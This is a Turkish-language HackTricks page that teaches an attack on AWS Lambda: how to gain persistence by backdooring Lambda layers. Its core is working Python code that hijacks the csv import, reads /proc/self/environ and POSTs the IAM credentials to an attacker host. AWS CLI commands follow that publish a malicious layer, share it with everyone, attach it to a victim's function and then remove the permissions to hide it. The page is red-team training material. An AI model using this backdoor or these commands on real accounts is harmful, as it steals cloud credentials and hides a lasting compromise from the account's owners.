AWS - Lambda Layers Persistence

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Lambda Katmanları

Bir Lambda katmanı, ek kod veya diğer içeriği içerebilen bir .zip dosyası arşividir. Bir katman, kütüphaneler, özel çalışma zamanı, veri veya yapılandırma dosyaları içerebilir.

Bir fonksiyonda beş katmana kadar dahil edilebilir. Bir katmanı bir fonksiyona dahil ettiğinizde, içerikler yürütme ortamında /opt dizinine çıkarılır.

Varsayılan olarak, oluşturduğunuz katmanlar AWS hesabınıza özeldir. Bir katmanı diğer hesaplarla paylaşabilir veya katmanı genel yapabilirsiniz. Eğer fonksiyonlarınız, farklı bir hesabın yayınladığı bir katmanı tüketiyorsa, fonksiyonlarınız katman sürümünü silindikten sonra veya katmana erişim izniniz iptal edildikten sonra kullanmaya devam edebilir. Ancak, silinen bir katman sürümünü kullanarak yeni bir fonksiyon oluşturamaz veya mevcut fonksiyonları güncelleyemezsiniz.

Bir konteyner görüntüsü olarak dağıtılan fonksiyonlar katmanları kullanmaz. Bunun yerine, görüntüyü oluştururken tercih ettiğiniz çalışma zamanını, kütüphaneleri ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz.

Python yükleme yolu

Lambda'da Python'ın kullanacağı yükleme yolu aşağıdaki gibidir:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

İkinci ve üçüncü pozisyonların lambda katmanları tarafından dosyalarının açıldığı dizinleri kontrol edin: /opt/python/lib/python3.9/site-packages ve /opt/python

Bir saldırgan, kullanılan bir lambda katmanını geri kapı olarak kullanmayı başarırsa veya bir tane eklerse ve bir ortak kitaplık yüklendiğinde keyfi kod yürütülüyorsa, her lambda çağrısıyla kötü amaçlı kodu yürütebilir.

Bu nedenle, gereksinimler şunlardır:

  • Kurbanın kodu tarafından yüklenecek kitaplıkları kontrol edin

  • Lambda katmanlarıyla birlikte çalışacak bir proxy kitaplık oluşturun ve özgün kitaplığı yürütün.

Önceden yüklenmiş kitaplıklar

Bu teknikleri kötüye kullanırken bir zorlukla karşılaştım: Bazı kitaplıklar, python çalışma zamanında kodunuzun yürütüldüğünde zaten yüklenmiş durumdadır. os veya sys gibi şeyler bekliyordum, ancak hatta json kitaplığı bile yüklendi. Bu kalıcılık tekniğini kötüye kullanmak için, kodun yürütüldüğünde yeni bir kitaplık yüklemesi gerekmektedir.

Aşağıdaki gibi bir python koduyla lambda içindeki python çalışma zamanında önceden yüklenmiş kitaplıkların listesini elde etmek mümkündür:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Ve işte liste (zaten os veya json gibi kütüphanelerin olduğunu kontrol edin)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Ve bu, lambda'nın varsayılan olarak yüklenmiş olduğu kütüphanelerin listesidir: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Katmanı Geri Kapı

Bu örnekte hedeflenen kodun csv'yi içe aktardığını varsayalım. csv kütüphanesinin içe aktarımını geri kapılayacağız.

Bunu yapmak için, lambda tarafından yüklenen bir yol olan /opt/python/lib/python3.9/site-packages içinde __init__.py adlı bir dosya ile csv adında bir dizin oluşturacağız. Ardından, lambda çalıştırıldığında ve csv yüklenmeye çalışıldığında, __init__.py dosyamız yüklenecek ve çalıştırılacak. Bu dosya şunları yapmalıdır:

  • Payload'ımızı çalıştırın

  • Orijinal csv kütüphanesini yükleyin

Her ikisini de şu şekilde yapabiliriz:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Ardından, bu kodu python/lib/python3.9/site-packages/__init__.py yolunda içeren bir zip oluşturun ve bir lambda katmanı olarak ekleyin.

Bu kodu https://github.com/carlospolop/LambdaLayerBackdoor adresinde bulabilirsiniz.

Entegre edilmiş payload, lambda konteynerinin ilk kez çağrıldığında veya lambda konteynerinin sıfırlanmasından sonra (kod değişikliği veya soğuk lambda) IAM kimlik bilgilerini bir sunucuya gönderecektir, ancak aşağıdaki gibi diğer teknikler de entegre edilebilir:

pageAWS - Steal Lambda Requests

Harici Katmanlar

Dikkat edilmesi gereken nokta, harici hesaplardan lambda katmanları kullanmanın mümkün olmasıdır. Dahası, bir lambda, izinlere sahip olmasa bile harici bir hesaptan bir katman kullanabilir. Ayrıca, bir lambdanın sahip olabileceği maksimum katman sayısı 5'tir.

Bu nedenle, saldırganın bu tekniklerin kullanışlılığını artırmak için şunları yapması mümkündür:

  • Kullanıcının mevcut bir katmanını backdoorlamak (hiçbir şey harici değil)

  • Kendi hesabında bir katman oluşturmak, kurban hesabına erişim vermek için katmanı kullanmasına izin vermek, katmanı kurbanın Lambda'sında yapılandırmak ve izinleri kaldırmak.

  • Lambda, hala katmanı kullanabilecek ve kurbanın katmanın kodunu indirmenin kolay bir yolunu (lambda içinde bir ters kabuk almadıkça) olmayacak.

  • Kurban, aws lambda list-layers ile kullanılan harici katmanları görmeyecektir.

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
AWS hackleme becerilerini sıfırdan kahraman seviyesine kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Last updated